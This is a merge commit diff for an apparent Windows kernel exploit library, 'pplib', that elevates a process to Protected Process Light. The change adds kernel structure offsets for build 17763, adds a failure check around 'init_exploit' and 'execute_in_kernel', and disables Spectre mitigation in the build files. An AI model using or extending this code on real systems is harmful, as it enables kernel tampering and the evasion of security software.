Merge pull request #1 from barrybingo/win-17763

Win 17763

pplib/kerneloffsets.h

@@ -31,7 +31,7 @@ public:
 	static uint64_t objecttable;
 	static uint64_t vadroot;
 
-	static void init()
+	static bool init()
 	{
 		windows_version win_ver = get_windows_version();
 
@@ -40,16 +40,18 @@ public:
 		{
 		case WINDOWS7:
 			init_win7();
-			break;
+			return true;
 		case WINDOWS8:
 			init_win8();
-			break;
+			return true;
 		case WINDOWS81:
 			init_win81();
-			break;
+			return true;
 		case WINDOWS10:
 			init_win10();
-			break;
+			return true;
+		default:
+			return false;
 		}
 	}
 
@@ -138,5 +140,12 @@ private:
 			objecttable = 0x418;
 			vadroot = 0x628;
 		}
+		else if (osVersion.dwBuildNumber == 17763)
+		{
+			protection = 0x6CA;
+			flags2 = 0x820;
+			objecttable = 0x418;
+			vadroot = 0x628;
+		}
 	}
 };

pplib/pplib.cpp

@@ -6,9 +6,11 @@ using namespace native::structs;
 
 bool elevate_ppl()
 {
+	if (!kernel_offsets::init()) return false;
+
 	if (!init_exploit()) return false;
 
-	kernel_offsets::init();
+
 
 	execute_in_kernel([](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
 	{

pplib/pplib.vcxproj

@@ -22,7 +22,7 @@
     <VCProjectVersion>15.0</VCProjectVersion>
     <ProjectGuid>{C032FA1E-9809-4947-BEC9-EC2B3F182A5D}</ProjectGuid>
     <RootNamespace>pplib</RootNamespace>
-    <WindowsTargetPlatformVersion>10.0.17134.0</WindowsTargetPlatformVersion>
+    <WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
@@ -43,6 +43,7 @@
     <UseDebugLibraries>true</UseDebugLibraries>
     <PlatformToolset>v141</PlatformToolset>
     <CharacterSet>MultiByte</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     <ConfigurationType>StaticLibrary</ConfigurationType>
@@ -50,6 +51,7 @@
     <PlatformToolset>v141</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
     <CharacterSet>MultiByte</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
   <ImportGroup Label="ExtensionSettings">

testpplib/main.cpp

@@ -3,7 +3,9 @@
 
 int main()
 {
-	elevate_ppl();
-	MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL);
+	if (elevate_ppl())
+		MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL);
+	else
+		MessageBoxA(NULL, "Something went wrong - probably unsuported windows version", "Error", MB_ICONERROR);
 	return 0;
 }

testpplib/testpplib.vcxproj

@@ -22,7 +22,7 @@
     <VCProjectVersion>15.0</VCProjectVersion>
     <ProjectGuid>{D194FE2D-C0CC-4560-A41D-DD03CF35F42F}</ProjectGuid>
     <RootNamespace>testpplib</RootNamespace>
-    <WindowsTargetPlatformVersion>10.0.17134.0</WindowsTargetPlatformVersion>
+    <WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
@@ -43,6 +43,7 @@
     <UseDebugLibraries>true</UseDebugLibraries>
     <PlatformToolset>v141</PlatformToolset>
     <CharacterSet>MultiByte</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
@@ -50,6 +51,7 @@
     <PlatformToolset>v141</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
     <CharacterSet>MultiByte</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
   <ImportGroup Label="ExtensionSettings">